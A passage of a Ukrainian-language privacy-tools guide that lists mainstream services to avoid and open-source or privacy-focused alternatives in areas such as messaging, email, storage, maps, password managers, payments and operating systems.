• Peergos - Безпечний і приватний онлайн-простір, де ви можете зберігати, ділитися і переглядати свої фотографії, відео, музику і документи. Також містить календар, стрічку новин, списки завдань, чат і поштовий клієнт. З відкритим кодом і самодостатнім хостингом.
• Proton Drive - Наскрізне зашифроване швейцарське сховище для ваших файлів, що захищає ваші дані.
• PrivateStorage - Хмарне сховище без облікових записів, орієнтоване на конфіденційність, і синхронізація папок з шифруванням на стороні клієнта.

Інші корисні інструменти

• Cryptomator - швидко і легко шифрує ваші дані. Після цього ви завантажуєте їх у захищеному вигляді на свій улюблений хмарний сервіс.
• Syncthing - Програма для безперервної синхронізації файлів. Вона синхронізує файли між двома або більше комп'ютерами в режимі реального часу, надійно захищена від сторонніх очей.
• Rclone - це програма командного рядка для керування файлами у хмарному сховищі. Це багатофункціональна альтернатива веб-інтерфейсам хмарних сховищ і, як і перелічені вище інструменти, дозволяє шифрувати файли у хмарі.
• Restic - Це також програма для керування файлами на різних хмарних сховищах. За замовчуванням Restic використовує шифрування. Серед особливостей restic - перегляд сховища у вигляді git-знімків без додаткових витрат на зберігання, дедуплікація та значна економія завдяки стисненню.

Бази даних

Уникайте використання приватних баз даних, які ви не контролюєте, таких як Google Firebase.

Замість цього використовуйте:

• Appwrite - Безпечний бекенд-сервер з відкритим кодом для веб-, мобільних та Flutter-розробників.
• Supabase - Альтернатива Firebase з відкритим кодом (Обмежений самостійний хостинг)
• Pocketbase - Open Source бекенд в 1 файлі, написаний на Go.
• CondensationDB [Inactive] - Це розподілена база даних з відкритим кодом з нульовою довірою, що дозволяє створювати сучасні додатки, забезпечуючи при цьому право власності на дані та їхню безпеку.

Інструменти для розробників

• Beekeeper Studio - Редактор SQL з відкритим кодом та менеджер баз даних, що мають у своїй місії зобов'язання щодо конфіденційності.

IDEs

Уникайте використання приватних IDE, які переповнені трекерами та телеметрією.

Замість цього використовуйте:

• Neovim - Текстовий редактор на основі Vim, який можна розширювати.
• VSCodium - Безкоштовне програмне забезпечення з відкритим кодом VSCode. Код Vscode є відкритим (ліцензія MIT), але продукт, доступний для завантаження (Visual Studio Code), ліцензовано за цією не-FLOSS ліцензією та містить телеметрію/відстежування.

Додатки для знайомств

Такі додатки, як Tinder, збирають і продають вашу особисту інтимну інформацію. Зокрема, було виявлено, що Tinder бере з користувачів до п'яти разів більше за ту саму послугуe, інтерпретує оцінки вашого інтелекту та інших психологічних показників і продає їх третім особам, може знати про вас більше, ніж ви самі, і ще багато чого поганого ви можете знайти в інтернеті.

Уникайте:

• Grindr
• Badoo
• Lovoo

Замість цього використовуйте:

• Alovoa - Безкоштовна платформа знайомств з відкритим кодом, яка поважає вашу конфіденційність.

Реєстратор доменів

Уникайте використання реєстраторів доменів, які порушують конфіденційність.

Замість цього використовуйте:

• Njalla - Доменна служба, що піклується про конфіденційність, знаходиться між реєстрацією в доменній службі та вами, діючи як захисний екран.
• OrangeWebsite
• 1984 Hosting

Менеджер завантажень

• Persepolis Download Manager - це менеджер завантажень та графічний інтерфейс для Aria2. Він написаний на Python. Persepolis є зразком вільного програмного забезпечення з відкритим кодом. Його розроблено для дистрибутивів GNU/Linux, BSD, MacOS та Microsoft Windows.
• uGet Download Manager - це легкий, але потужний менеджер завантажень з відкритим кодом для GNU/Linux, розроблений за допомогою GTK+, який також постачається у вигляді портативної програми для Windows. Він також доступний для Android.
• Motrix - Повнофункціональний менеджер завантажень.
• Xtreme Download Manager - це потужний інструмент для збільшення швидкості завантаження до 500%, збереження потокового відео з YouTube, DailyMotion, Facebook, Vimeo, Google Video та 1000+ інших веб-сайтів, відновлення перерваних або завершених завантажень, планування та конвертації завантажень.
• axel - Легкий CLI-прискорювач завантаження. Підтримує протоколи HTTP, HTTPS, FTP і FTPS.

Шифрування

Пам'ятайте: Без надійного шифрування за вами може постійно стежити багато людей.

• Veracrypt - це безкоштовне програмне забезпечення для шифрування дисків з відкритим кодом для Windows, macOS і Linux.
• Shufflecake - Безкоштовний відкритий код, правдоподібне заперечення для декількох прихованих файлових систем у Linux.
• Hat.sh - Безкоштовне, швидке, безпечне та безсерверне шифрування файлів.
• Cryptomator - швидко і легко шифрує ваші дані. Після цього ви завантажуєте їх у захищеному вигляді на свій улюблений хмарний сервіс.
• Stegcloak - Приховуйте секрети за допомогою невидимих символів у звичайному тексті, надійно використовуючи паролі.
• Picocrypt - Дуже маленький (звідси "Pico"), дуже простий, але дуже безпечний інструмент для шифрування файлів.
• Photok - це безкоштовний фотосейф. Він зберігає ваші фотографії в зашифрованому вигляді на вашому пристрої і приховує їх від інших.

Шифрування ОС

• Cryptsetup - Повне шифрування диска для Linux. Cryptsetup - утиліта для зручного налаштування шифрування диска на основі модуля ядра DMCrypt.

Керування файлами та спільний доступ до них

Уникайте:

• WeTransfer - Погана політика конфіденційності. Файли не шифруються e2e. Сайт має багато аналітики та трекерів.
• SendAnywhere - Немає шифрування e2e. Сайт має безліч аналітики та трекерів від Facebook, Google, Cloudflare...

Замість цього використовуйте:

• Blaze - Швидкий, p2p і радикально інший спосіб передачі файлів.
• Blindsend - Інструмент з відкритим кодом для приватного наскрізного обміну зашифрованими файлами.
• Croc - Легко та безпечно надсилайте файли з одного комп'ютера на інший.
• Dat-cp - Копіювання файлів між хостами в мережі за допомогою однорангової мережі Dat.
• Destiny - Надсилайте файли безпосередньо одержувачу в режимі реального часу. Розроблено для HRO та разом з ними як безкоштовну альтернативу технології підвищення конфіденційності.
• Lufi - Завантажимо цей файл(Let's Upload that FIle ) - програма для обміну файлами.
• Localsend - Діліться файлами з пристроями, що знаходяться поруч. Безкоштовна, з відкритим кодом, кросплатформенна.
• Magic Wormhole - Безпечно переносити файли з одного комп'ютера на інший.
• OnionShare - Інструмент з відкритим кодом, який дозволяє безпечно та анонімно обмінюватися файлами, розміщувати веб-сайти та спілкуватися з друзями за допомогою мережі Tor.
• Paperless - Відскануйте, проіндексуйте та заархівуйте всі ваші паперові документи.
• Paperless-ng - Покращена версія безпаперової технології: скануйте, індексуйте та архівуйте всі ваші фізичні документи.
• Paperless-ngx - Підтримувана спільнотою надпотужна версія paperless на основі paperless-ng
• PairDrop - Покращена версія Snapdrop, яка також дозволяє об'єднувати пристрої та обмінюватися файлами поза мережею.
• Portal - Утиліта командного інтерфейсу для передачі зашифрованих файлів з одного комп'ютера на інший.
• QRcp - Передавайте файли через Wi-Fi з комп'ютера на мобільний пристрій, відсканувавши QR-код, не залишаючи термінал.
• Send - Простий, приватний обмін файлами.
• Sharik - працює за допомогою Wi-Fi з'єднання або Tethering (Wi-Fi Hotspot). Підключення до Інтернету не потрібне. Доступний для Android, iOS, Linux, MacOS та Windows.
• Snapdrop - Прогресивний веб-додаток для локального обміну файлами, натхненний Airdrop від Apple.
• Winden - Зручна версія Magic Wormhole, якою можна користуватися прямо з браузера. Не потрібно встановлювати додаток.
• Yopass - Безпечний обмін секретами, паролями та файлами.

Фітнес та здоров'я

Ваше здоров'я є дуже важливою частиною ваших приватних даних, і ви повинні дуже піклуватися про нього. Крім того, дані, пов'язані зі здоров'ям, є одними з найбажаніших. Будь ласка, не використовуйте додатки від Google, Fitbit, Huawei, Xiaomi та інших компаній, які збирають ваші персональні дані.

Якщо вам потрібен додаток для відстеження менструального циклу, будь ласка, не використовуйте такі програми, як Clue, Period Tracker тощо. Ці милі рожеві додатки жадібні до даних про ваш менструальний цикл та інтимне життя і обов'язково продадуть їх, захищаючи ваше приватне життя. Перевірте список нижче, і ви знайдете хороші альтернативи.

Використовуйте:

• wger - Безкоштовний веб-додаток з відкритим кодом, який керує вашими вправами, тренуваннями та харчуванням.
• Fitotrack - Фітнес-трекер для Android, орієнтований на конфіденційність.
• OpenFoodFacts - Open Food Facts - це база даних про харчові продукти, створена всіма і для всіх. Ви можете використовувати її, щоб робити кращий вибір продуктів харчування.
• OFF Apps
• Drip - Відстеження менструального циклу та фертильності. Все, що ви вводите, залишається на вашому пристрої.
• log28 - (дуже) простий трекер місячних для Android без надмірностей.
• OpenTracks - це додаток для спортивного трекінгу, який повністю поважає вашу конфіденційність.

Шрифти

Уникайте:

• Google Fonts (no selfhosted)

Замість цього використовуйте:

Заміна шрифтів Google

• coolLabs Fonts - Безпечна для приватності спливаюча заміна Google Fonts.

Foundries

• Velvetyne
• OpenFoundry

Форми

Уникайте:

• Google Forms

Замість цього використовуйте:

• TypeBot - Розмовні форми з відкритим кодом.
• CryptPad Forms - Частина наскрізного шифрованого набору для спільної роботи з відкритим кодом Cryptpad.
• FramaForms - Створюйте онлайн-опитування з легкістю, поважаючи свою аудиторію.

Домашні асистенти

Не використовуйте Google Home або Alexa. Будь ласка, не треба. Не даруйте їх нікому. Вони відкривають двері будинків для стеження. Вони можуть перетворити ці пристрої з автоматичним оновленням на пристрої стеження за власним бажанням.

Цікаві статті: 1, 2, 3, 4, 5, 6, 7.

• Google Home
• Alexa
• Cortana
• Siri

Замість цього використовуйте:

• Mycroft - Приватний та відкритий голосовий асистент.
• Home Assistant - Домашня автоматизація з відкритим кодом, яка ставить на перше місце локальний контроль і конфіденційність.

Обмін повідомленнями

*Перевірте цей сайт для порівняння. (Якщо хочете, то пиши в телеграм або коментарі з проханням перевести)

Уникайте:

• WhatsApp
• Instagram DM
• Facebook Messenger
• Skype
• Zoom
• Google Hangouts / Chat

Замість цього використовуйте:

Децентралізовані

Немає єдиної точки контролю або збою. Децентралізована мережа, керована різними серверами від різних волонтерів по всьому світу. Ви самі обираєте, де зберігати ваші дані, або ж можете розмістити власний сервер. Дещо складніші протоколи (через взаємодію між серверами), а до повідомлень додаються додаткові метадані (без шкоди для конфіденційності).

• Matrix (Protocol) - Відкрита мережа для безпечного, децентралізованого спілкування.
• Element - Універсальний безпечний чат для команд, друзів та організацій. Тримайте розмови під вашим контролем, захищеними від збору даних та реклами. Наскрізне шифрування.
• Cinny - Клієнт Matrix, що фокусується насамперед на простому, елегантному та безпечному інтерфейсі.
• Jabber / XMPP (Protocol) - Універсальний і відкритий стандарт обміну повідомленнями. Випробуваний і перевірений. Незалежний. Орієнтований на конфіденційність. Зашифрований E2E.
• Conversations - Jabber/XMPP-клієнт для смартфонів Android 4.0+, оптимізований для забезпечення унікального мобільного досвіду.
• AstraChat - Ще один клієнт XMPP.
• DeltaChat - Спілкуйтеся через зашифровану електронну пошту.
• Session - Надзвичайна увага до конфіденційності та анонімності. Технологія блокчейн.
• SimpleX Chat - Перша чат-платформа, яка за своєю конструкцією є на 100% приватною - вона не має доступу до вашого списку з'єднань.
• Status - Це додаток для безпечного обміну повідомленнями, криптогаманець і Web3-браузер, створений за найсучаснішими технологіями.

Централізовані

Сервіс відповідає за роботу серверів, які дозволяють користувачам спілкуватися. Єдина точка відмови та контролю, але все одно на 100% безпечна та надійна, якщо протоколи та код відкриті та перевіряються.

• Threema - Месенджер, який ставить безпеку та конфіденційність на перше місце. Плати один раз, спілкуйся назавжди. Ніякого збору даних користувачів. Клієнт з відкритим кодом.
• Signal - Особлива увага до конфіденційності в поєднанні з усіма функціями, яких ви очікуєте. Надійне шифрування за замовчуванням. 100% відкритий вихідний код.
• Molly - Сумісний з Signal клієнт з деякими покращеннями безпеки.

P2P

Ніяких серверів не задіяно. Все передається безпосередньо від одного однорангового пристрою до іншого однорангового пристрою. Немає точки відмови або контролю. Через відсутність сервера можливості зменшуються, обмін повідомленнями може бути повільнішим. Найкращий варіант для критично важливих чатів.

• Tox - це просте у використанні програмне забезпечення, яке з'єднує вас з друзями та родиною без стороннього прослуховування.
• Briar - Peer-to-peer зашифрований обмін повідомленнями та форуми.
• Tinfoil Chat - Захищена система обміну повідомленнями на кінцевих точках з цибулевою маршрутизацією.
• Berty - Додаток для обміну повідомленнями, який працює з доступом до Інтернету, стільникового зв'язку або без нього, а також без довіри до мережі.

Посилання в Bio

• Keyoxide - Сучасна, безпечна і дружня до приватності платформа для створення вашої децентралізованої онлайн-ідентичності.
• LinkFree - Зв'яжіться зі своєю аудиторією за допомогою одного посилання. Демонструйте контент, який ви створюєте, та свої проекти в одному місці. Спростіть людям пошук, підписку

Скорочення посилань

Уникайте:

• Bit.ly

Замість цього використовуйте:

• MagLit - Зашифрована служба скорочення посилань, яка поважає конфіденційність і також підтримує магнітні посилання.

Відстеження місцезнаходження

Уникайте:

• Google location history
• Google FindMyDevice

Замість цього використовуйте:

Відстеження

• Nextcloud Phonetrack - Додаток Nextcloud для відстеження історії місцезнаходжень за допомогою програми для Android app (також підтримуються інші програми). Підтримує кешування позицій в автономному режимі та надсилання їх на сервер пакетами. Сторонній додаток має хороші можливості для економії заряду акумулятора.
• OwnTracks - Відстеження місцезнаходження для відображення лише поточного місцезнаходження (обмежений функціонал історії місцезнаходження).
• Traccar - Програмне забезпечення для відстеження місцезнаходження, створене для спеціальних GPS-пристроїв.

Знайти свій пристрій

• Find My Device - Знайдіть свій Android-пристрій за допомогою SMS.
• GPSlogger - Легкий додаток для GPS реєстрації для Android. Без серверів, без інтернету. Зберігається у вигляді простого файлу в локальному сховищі.

Поштові сервіси

Уникайте:

• Gmail
• Outlook
• Yandex Mail
• Yahoo! Mail

Замість цього використовуйте:

Належить третій особі

• Forward Email - 100% відкритий і орієнтований на конфіденційність сервіс електронної пошти.
• ProtonMail - Безпечна електронна пошта. Базується у Швейцарії. Прочитайте цю статтю про арешт кліматичного активіста.
• Tutanota - Безпечна електронна пошта для всіх. Відкритий код.
• Riseup - Інструменти онлайн-комунікації для людей і груп, які працюють над визвольними соціальними змінами.
• Mailfence - Безпечна та приватна електронна пошта.
• Skiff - Електронна пошта з відкритим кодом, конфіденційність на першому місці, наскрізне шифрування.

Самостійне розміщення

• Docker mail server - Повний стек, але простий поштовий сервер (SMTP, IMAP, LDAP, антиспам, антивірус тощо) з використанням Docker.
• Mailcow: dockerized - Набір поштових серверів з "moo".
• Mail-in-a-box - Mail-in-a-Box допомагає користувачам повернути контроль над своєю електронною поштою, визначаючи простий у розгортанні сервер SMTP+все інше в один клік: поштовий сервер у коробці.
• Mox - Сучасний повнофункціональний захищений поштовий сервер з відкритим кодом для самостійного хостингу електронної пошти з низьким рівнем обслуговування.

Клієнти

Android / iOS

• FairEmail - повнофункціональний поштовий додаток для Android з відкритим кодом, дружній до приватності.
• K9 - Поштова програма з відкритим кодом для Android.

Desktop

• Thunderbird - Безкоштовний поштовий клієнт з відкритим кодом, що налаштовується.

Послуги псевдонімів електронної пошти (анонімна переадресація)

За допомогою псевдонімів електронної пошти ви нарешті можете створити окрему ідентичність для кожного веб-сайту. Захистіться від спаму, фішингу та витоку даних. Ви можете вибрати будь-який з наступних варіантів самостійного хостингу або скористатися власною платформою як послугою.

• SimpleLogin
• AnonAddy

Карти та навігація

Уникайте:

• Google Maps
• Apple Maps
• Yandex Maps
• Bing Maps
• Waze
• Sygic
• HERE WeGo
• Petal Maps

Замість цього використовуйте:

• Open Street Map (OSM) - OpenStreetMap створюється спільнотою картографів, які надають і підтримують дані про дороги, стежки, кафе, залізничні станції та багато іншого по всьому світу.
• OSMAnd - Навігаційна програма для Android/iOS з використанням OSM. Це багатофункціональний додаток з усіма необхідними функціями.
• Qwant Maps - Приватна альтернатива Google Maps на основі OpenStreetMap.
• Organic Maps - Чудові офлайн карти для пішоходів та велосипедистів.

Платформи для стрімінгу

Уникайте:

• Amazon Prime - Для потокового додатку потрібно багато дозволів.
• Netflix - Для потокового додатку потрібно багато дозволів.
• Disney Plus - Для потокового додатку потрібно багато дозволів.
• Plex -Занадто багато дозволів потрібно для потокового додатку.
• Spotify - Занадто багато дозволів потрібно для потокового додатку.
• Deezer - Занадто багато дозволів потрібно для потокового додатку.
• SoundCloud - Занадто багато дозволів потрібно для потокового додатку.

Замість цього використовуйте:

Відео та аудіо

• Jellyfin - це створене волонтерами медіа-рішення, яке дає вам контроль над вашими медіа. Транслюйте на будь-який пристрій з власного сервера без жодних обмежень.
• Dim - це самостійний медіаменеджер. З мінімальними налаштуваннями Dim впорядкує і прикрасить ваші медіа-колекції, дозволяючи вам мати доступ до них і відтворювати їх будь-коли і будь-де.
• Stremio - це сучасний медіацентр, який є універсальним рішенням для ваших відеорозваг.

Audio

• Funkwhale - Соціальна платформа для прослуховування та обміну музикою (альтернатива SoundCloud).
• Subsonic - Ваш повноцінний, персональний музичний стрімер.
• Ampache - Веб-програма для потокового аудіо/відео та файловий менеджер.
• Koel - Персональний потоковий музичний сервер, який працює.
• Nuclear - Сучасний музичний плеєр, орієнтований на стрімінг з вільних джерел.
• Navidrome - Легкий, швидкий і автономний персональний музичний стример.
• BlackHole - Додаток для музичного плеєра, створений за допомогою Flutter

Альтернативні клієнти Spotify

Ці клієнти, хоч і мають менше відстеження, все одно НЕ захищають вашу конфіденційність, оскільки ви все одно будете транслювати з серверів Spotify зі свого преміум-акаунта (платного, ідентифікованого).

* Потрібен преміум-акаунта .

• Jetispot - Експериментальний НЕОФІЦІЙНИЙ клієнт Spotify для Android на librespot-java + Jetpack Compose
• Spotube - Легкий безкоштовний кросплатформний клієнт Spotify.
• Spot* - Нативний клієнт Spotify, побудований на GTK та Rust.
• psst* - Швидкий і багатоплатформовий клієнт Spotify з нативним графічним інтерфейсом.
• ncspot* - Крос-платформний клієнт Spotify ncurses написаний на Rust, натхненний ncmpc та іншими подібними програмами.

* Преміум-акаунт не потрібен.

• Blade Player - Клієнт Spotify з відкритим кодом, працює без підписки.

Альтернативні клієнти Youtube Music

• Beatbump - Альтернативний фронтенд для YouTube Music; без реклами та з власним API.
• ViMusic - Додаток Jetpack Compose для Android для потокової передачі музики з YouTube Music.

Альтернативні клієнти Deezer

• dzr - Командний рядок програвача Deezer для Linux, BSD, Android+Termux

Подкасти

Уникайте:

• Spotify - Дуже погана політика конфіденційності. Вони збирають тонни даних про вас: настрій, вільний час, вподобання, антипатії, друзі... Крім того, в їхніх додатках забагато трекерів
• iVoox -Їхні додатки наповнені трекерами.На їхньому сайті є трекери.
• Audible - Дуже погана політика конфіденційності. У їхньому додатку багато трекерів.
• Deezer - Погана політика конфіденційності. Додатки мають mбагато трекерів. Занадто багато дозволів потрібно для потокового додатку.

Замість цього використовуйте:

• Antennapod - Програвач подкастів, який є повністю відкритим. Підпишіться на будь-яку RSS-стрічку.
• Castopod - З легкістю розміщуйте свої подкасти самостійно, контролюйте те, що ви створюєте, і спілкуйтеся зі своєю аудиторією без жодних посередників. Ваш подкаст і ваша аудиторія належать вам і тільки вам.
• Funkwhale - Соціальна платформа для прослуховування та обміну аудіо.

Notes and Tasks

Уникайте:

Ці провайдери пропонують додатки та сервіси, наповнені трекерами даних. Крім того, більшість з них зберігають ваші нотатки на своїх серверах і не пропонують ніякого шифрування.

• Google Keep
• Google Keep Exporter - Конвертуйте нотатки Google Keep у стандартний формат заголовків markdown + YAML.
• Evernote
• Squid
• Notion
• OneNote

Замість цього використовуйте:

• AppFlowy - Альтернатива поняттю "відкритий код". Ви відповідаєте за свої дані та налаштування.
• HedgeDoc - Раніше CodiMD (спільнота). Чудова платформа для написання та обміну націнками.
• Joplin - Додаток для нотаток і справ з можливостями синхронізації та шифрування.
• Logseq - Альтернатива WorkFlowy, орієнтована на конфіденційність.
• Memos - Самостійний мемо-хаб з відкритим кодом, управлінням знаннями та соціалізацією.
• Nextcloud Notes - Додаток "Нотатки" - це програма для ведення нотаток для Nextcloud, яка не відволікає від роботи.
• Nextcloud Notes app - Android-клієнт для Nextcloud Notes.
• Notally - Гарний додаток для нотаток (тільки локальний, без синхронізації).
• Notesnook - Відкритий код з нульовими знаннями, приватне конспектування.
• Quillnote - Робіть красиві нотатки про націнки та організовано складайте списки завдань.
• SiYuan - Система управління персональними знаннями, створена в першу чергу на місцевому рівні.
• Standard Notes - Безкоштовний, з відкритим кодом і повністю зашифрований додаток для нотаток.
• TinyList - Створюйте та діліться нотатками та контрольними списками без шкоди для конфіденційності.
• Trilium Notes - Створіть власну базу знань за допомогою Trilium Notes
• Vikunja - Додаток з відкритим кодом для організації вашого життя.
• YankNote - Додаток для програмістів, який можна зламати.

Розпізнавання музики

Уникайте:

• Shazam - Це підпадає під політику конфіденційності Apple. Додаток для Android має кілька трекерів Google.
• SoundHound - Має занадто багато трекерів для програми для розпізнавання музики
• Musicxmatch - Додаток має трекери і вимагає небезпечну кількість дозволів.

Замість цього використовуйте:

Альтернативні клієнти Shazam

• SongRec - Клієнт Shazam з відкритим кодом для Linux, написаний на Rust.
• SongID Telegram Bot -Telegram-бот, який вміє розпізнавати музику в аудіо- та відеофайлах, які ви йому надсилаєте.

Office

Уникайте:

• Microsoft Office
• Google Docs

Замість цього використовуйте:

• LibreOffice - Безкоштовний офлайн-офіс з відкритим кодом.
• OnlyOffice - Безкоштовний онлайн-офіс з відкритим кодом для спільної роботи.
• Cryptpad - Пакет для спільної роботи, зашифрований і з відкритим кодом.
• Etherpad - Онлайн-редактор з відкритим кодом, що легко налаштовується, забезпечує спільне редагування в режимі реального часу.
• Skiff - Наскрізна зашифрована спільна робота з документами в режимі реального часу та зберігання файлів.

Тимчасові номери телефонів

Багато веб-сайтів вимагають підтвердження номера телефону. Ці сервіси пропонують спосіб отримувати (а іноді й надсилати) SMS-повідомлення з дотриманням конфіденційності.

Без перевірки електронної пошти, приймаємо monero

• Crypton - Безпечна SMS Sim-карта в хмарі. (Базується в Ісландії)
• Virtualsim - Virtualsim надає в оренду фізичні SIM-карти для SMS-верифікації. (Базується в Україні)
• MoneroSMS - Віртуальні номери для SMS/MMS-повідомлень та верифікації. CLI та веб-додаток. (Базується в США)

Потрібна перевірка електронної пошти, приймаємо monero

• Onlinesim - Отримуйте SMS онлайн на віртуальний номер телефону. (Базується в Росії)

Потрібна перевірка електронної пошти, приймаємо криптовалюту

• SmsPVA - SmsPVA - це послуга, що надає телефонний номер, на який ви можете надіслати будь-яке SMS і отримати його текст. (Базується у Франції)

Операційні системи

Android

Намагайтеся уникати використання Google Android або будь-якого іншого Android, який був модифікований і налаштований будь-яким виробником, таким як Xiaomi, Huawei, Samsung тощо. Android - це проект з відкритим кодом - AOSP - Android Open Source Project - і він має багато версій, які поважають конфіденційність користувача та його даних і не передають їх на приватні сервери виробників або постачальників послуг.

Замість цього використовуйте

Примітка щодо сумісності додатків для Android: Хоча всі ці операційні системи є Android, сумісність додатків може бути не ідеальною через відсутність GMS (Google Mobile Services), які вимагають деякі програми. Ви можете перевірити, наскільки добре працюють програми з microg (безкоштовна альтернатива GMS з відкритим кодом) або взагалі без GMS, за допомогою Plexus де спільнота може повідомити, наскільки добре андроїд-додатки працюють у цих середовищах.

Зауваження щодо безпеки Android: Користувацькі ПЗП можуть покращити вашу конфіденційність так само, як і знизити безпеку Android, тому завжди використовуйте ПЗП, які підтримують перевірене завантаження і шифрування, і НЕ мають права root за замовчуванням. Якщо можливо, не використовуйте користувацькі збірки. Якщо ваша модель загроз вимагає безпеки, придбайте Google Pixel і встановіть на нього GrapheneOS. Дізнайтеся більше на PrivacyGuides.

• GrapheneOS - це мобільна операційна система з відкритим кодом, орієнтована на конфіденційність і безпеку, сумісна з додатками Android.
• CalyxOS - дозволяє вам з'їсти і свій пиріг, і його, завдяки "Конфіденційності за задумом".
• LineageOS - Вільна операційна система з відкритим кодом для різних пристроїв, заснована на мобільній платформі Android.
• DivestOS - LineageOS з підвищеним рівнем безпеки та конфіденційності.
• Replicant - Мобільна операційна система з вільним програмним забезпеченням, що робить акцент на свободі та конфіденційності/безпеці.

На базі Linux

• UBPorts - це мобільна версія Ubuntu, пристосована для роботи з дотиками.
• postmarketOS - Торкніться оптимізованої та попередньо налаштованої версії Alpine Linux.
• PureOS - Операційна система, розроблена пуризмом для Librem 5.
• Plasma Mobile - Плазма у вашій кишені. Поважаюча конфіденційність, з відкритим кодом і безпечна телефонна екосистема.
• mobian - Debian для мобільних пристроїв.

Smart TV

Не використовуйте Android TV, LG WebOS або будь-яку іншу поширену операційну систему для телевізорів, що порушує конфіденційність.

Замість цього використовуйте:

• Kodi - Це розважальний центр, який об'єднує всі ваші цифрові медіа в красивий і зручний пакет. Він на 100% безкоштовний, з відкритим кодом, легко налаштовується і працює на різних пристроях.
• Jellyfin - це розроблене волонтерами медіа-рішення, яке дає вам можливість контролювати свої медіа. Транслюйте на будь-який пристрій з власного сервера без жодних обмежень.
• OSMC - це вільний медіа-центр з відкритим кодом, створений для людей і силами людей.
• RaspberryCast - Перетворіть свій Raspberry Pi на пристрій для стрімінгу. Транслюйте відео з мобільних пристроїв або комп'ютерів на телевізор.

PC / MacOS

Уникайте:

• MS Windows - операційна система, що належить Microsoft, відома тим, що збирає багато даних про користувачів і обманом змушує їх створювати облікові записи Microsoft. Якщо ви все ще використовуєте Windows 10, ви можете скористатися цим, або цим інструментом щоб переглянути та вимкнути безліч налаштувань MS Windows, які порушують конфіденційність.
• MacOS.

Замість цього використовуйте:

GNU/Linux

GNU/Linux - це сімейство вільних операційних систем з відкритим кодом, які переважно розробляються спільнотою. Якщо ви не знаєте, з чого почати, це хороші варіанти для початківців:

• Fedora
• Mint (Cinnamon) дружній до початківців дистрибутив.

Якщо ви хочете спробувати дистрибутив без встановлення на комп'ютер, ви можете скористатися Live USB-накопичувачем. Ви також можете ознайомитися з Ventoy щоб легко завантажувати і тестувати дистрибутиви linux за допомогою USB-накопичувача.

Якщо ви хочете встановити Linux, але залишити поточну операційну систему, ви можете налаштувати подвійне завантаження.

Зауваження: Не всі дистрибутиви Linux є вільними, безкоштовними або поважають конфіденційність користувачів. Існує безліч дистрибутивів GNU/Linux, і вам слід трохи дослідити їх, перш ніж приєднатися до одного з них!

Інші ОС:

• AtlasOS - Модифікація Windows 10 з відкритим кодом, розроблена для оптимізації продуктивності та затримок. Atlas видаляє всі типи відстеження, вбудовані в Windows, і впроваджує численні групові політики для мінімізації збору даних.
• ReactOS - це операційна система, здатна запускати програмне забезпечення Windows, драйвери Windows, яка виглядає як Windows і є безкоштовною та має відкритий вихідний код.
• RedoxOS - Проект WIP, метою якого є створення Unix-подібної операційної системи, написаної на Rust.

Менеджери паролів

Уникайте:

• LastPass
• Dashlane

Замість цього використовуйте:

• Bitwarden - Хмарний менеджер паролів з відкритим кодом.
• vaultwarden - Неофіційний сервер, сумісний з Bitwarden, раніше відомий як bitwarden_rs.
• KeepassXC - Безпечне зберігання паролів за допомогою шифрування за промисловим стандартом, без синхронізації, лише зберігання.
• KeepassDX для Android.
• Strongbox для iOS.
• KeeWeb для веб та інших платформ.
• LessPass - Менеджер паролів. Запам'ятайте один головний пароль для доступу до своїх паролів. Синхронізація не потрібна.
• Padloc - Останній менеджер паролів, який ви захочете використовувати.
• Passbolt - Менеджер паролів з відкритим кодом, призначений для командної роботи.
• Passky - Простий, сучасний, легкий, з відкритим кодом і безпечний менеджер паролів.

Пастбіни та обмін секретами

Ці інструменти корисні, коли ви хочете поділитися секретами, фрагментами коду або будь-яким іншим текстом з іншими в приватному порядку.

• PrivateBin - Мінімалістичний онлайн-пастбін з відкритим кодом, де сервер не має жодного уявлення про вставлені дані. Дані шифруються/розшифровуються в браузері за допомогою 256-бітного AES.
• Yopass - Безпечний обмін секретами, паролями та файлами.

Платежі

Уникайте:

• Visa / Mastercard
• WeChat
• Bank payments (wire, SEPA, etc)

Замість цього використовуйте:

• Monero - це готівка для взаємопов'язаного світу. Вона швидка, приватна, невідстежувана та безпечна.
• Готівка - платежі між фізичними особами з використанням фізичних банкнот і монет.

ВИКОРИСТОВУВАТИ З ОБЕРЕЖНІСТЮ

• Bitcoin - Біткоїн не є ані анонімним, ані приватним. Біткоїн можна відстежити, він прозорий і псевдонімний. Для базового ознайомлення подивіться відео aantonop. Більш просунуті користувачі можуть переглянути цю серію про конфіденційність біткоїна.
• Samourai Wallet - Біткоїн-гаманець з відкритим кодом, орієнтований на конфіденційність, доступний на Android.
• Sparrow Wallet - Кросплатформенний гаманець з відкритим кодом, який надає вам багато інструментів для збереження конфіденційності, доступних у Samourai Wallet.
• Wasabi Wallet - Гаманець Bitcoin з відкритим кодом, який не потребує зберігання, орієнтований на конфіденційність і доступний на робочому столі.

Особисті фінанси

FIAT

• My Expenses - Функціональний додаток для Android з ліцензією GPL для відстеження витрат.
• ProExpense - Проста безкоштовна фінансова нотатка для безпечного запису щоденних витрат.
• IHateMoney - Легко керуйте спільними витратами.
• Debitum - За допомогою Debitum ви можете відстежувати всі види боргових розписок, будь то гроші або позичені речі.
• Nextcloud Cospend - Менеджер групового/спільного бюджету, натхненний великим IHateMoney.
• MoneyBuster - Android-клієнт для серверів Nextcloud Cospend та IHateMoney.
• GnuCash - це програмне забезпечення для фінансового обліку особистого та малого бізнесу, вільно розповсюджуване під ліцензією GNU GPL і доступне для GNU/Linux, BSD, Solaris, Mac OS X та Microsoft Windows.
• Budget Zen - Просте та зашифроване управління бюджетом.

CRYPTO

Уникайте використання будь-якого відстеження біржових портфелів або додатків на подобі Blockfolio, оскільки вони жодним чином не поважають вашу конфіденційність.

Замість цього використовуйте Rotki - чудовий, багатофункціональний додаток з відкритим кодом:

• Rotki - Приголомшливий додаток для відстеження портфеля, аналітики, бухгалтерської та податкової звітності, який захищає вашу конфіденційність.

Редагування та керування фотографіями

Уникайте:

• VSCO

Замість цього використовуйте:

Web

• miniPaint - Альтернатива Photopea з відкритим кодом. miniPaint працює безпосередньо у браузері. Нічого не надсилається на жоден сервер. Все залишається у вашому браузері.

Desktop

• GIMP - Безкоштовний редактор зображень з відкритим кодом.
• Krita - це безкоштовна програма для цифрового малювання з відкритим кодом
• Czkawka - Багатофункціональний додаток для пошуку дублікатів, схожих зображень тощо.
• DigiKam - Чудове професійне керування фотографіями з відкритим кодом.
• Inkscape - це безкоштовний векторний графічний редактор з відкритим кодом, який використовується для створення векторних зображень.
• ImageGlass - це легке програмне забезпечення, метою якого є допомогти вам переглядати зображення в чистому та інтуїтивно зрозумілому робочому середовищі.

Android

